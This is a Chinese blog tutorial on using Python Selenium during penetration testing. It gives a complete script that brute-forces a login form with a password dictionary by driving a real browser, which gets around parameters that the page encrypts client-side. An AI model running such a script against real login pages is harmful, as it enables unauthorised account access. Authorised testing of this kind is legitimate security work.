python自动化渗透测试_Python Selenium 渗透测试中的使用

在渗透测试过程中如果请求传参被加密且加密传输方法通过前端js无法定位到的情况下,这种如果是登录口要进行字典枚举测试那就可以通过Selenium浏览器自动化测试框架来进行自动化测试

Selenium 驱动调用

from selenium import webdriver

## 如果是chrome浏览器的驱动

driver=webdriver.Chrome("G:\Anaconda3-5.3.0\chromedriver.exe")

##如果是firefox浏览器的驱动

driver=webdriver.Firefox(executable_path="G:\Anaconda3-5.3.0\geckodriver.exe")

######如果浏览器驱动的目录加入了环境变量的话

## 如果是chrome浏览器的驱动

driver=webdriver.Chrome()

##如果是firefox浏览器的驱动

driver=webdriver.Firefox()

Selenium定位元素

> 定位一个元素定位多个元素含义

> find_element_by_id通过元素id定位

> find_element_by_name通过元素name定位

> find_element_by_class_name通过classname进行定位

> find_element_by_tag_name通过标签定位

> find_element_by_link_text通过完整超链接定位

> find_element_by_partial_link_text通过部分链接定位

> find_elements_by_css_selector通过css选择器进行定位

> find_element_by_xpath通过xpath表达式定位

渗透测试中案例使用

对某个系统进行渗透测试过程中登录口为了爆破通常进行抓包查看请求包,这里就发现一个请求传参是完全加密的案例

这里可以看到他所有的传参都传给encode参数进行加密处理,这样的话我们要爆破的话就无从下手,当然可以F12跟踪js代码看是否在前端进行交互调用加密方法,如果是要分析学习这类型的可以跳到我前段时间写的文章进行学习:https://www.cnblogs.com/jicklun/p/13944040.html,这里我们重点说下用Selenium框架如何对加密传参的站点进行爆破

我们这里可以看到传参加密了,如果我们单独进行传参请求爆破肯定是行不通的,首先要利用Selenium爆破我们要定位下前端的登录账号密码的元素ID

这里可以看到我们可以很方便的定位到元素主要为input标签里的bofid元素属性,这里就可以构造代码进行编写

代码主要是定位input标签下的bofid元素中的属性值来进行定位输入字典内容,然后通过循环来进行模拟浏览器来进行批量爆破

#coding=utf-8

from selenium import webdriver

import time

import sys

class Haidchr:

def __init__(self):

self.chrome_driver = "chromedriver.exe"

self.driver = webdriver.Chrome(executable_path = self.chrome_driver)

def login(self,pwd):

try:

self.driver.get("https://www.xxxx.com/vision/index.jsp")

username = self.driver.find_element_by_xpath('//input[@bofid="username"]')

username.send_keys(pwd.strip())

password=self.driver.find_element_by_xpath('//input[@bofid="password"]')

password.send_keys(pwd.strip())

self.driver.find_element_by_xpath('//input[@bofid="login"]').click()

print (pwd)

time.sleep(0.5)

except:

print ("NO")

if __name__ == '__main__':

Haid_chr = Haidchr()

for pwd in open(sys.argv[1],'r+'):

Haid_chr.login(pwd)

运行效果如下:

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值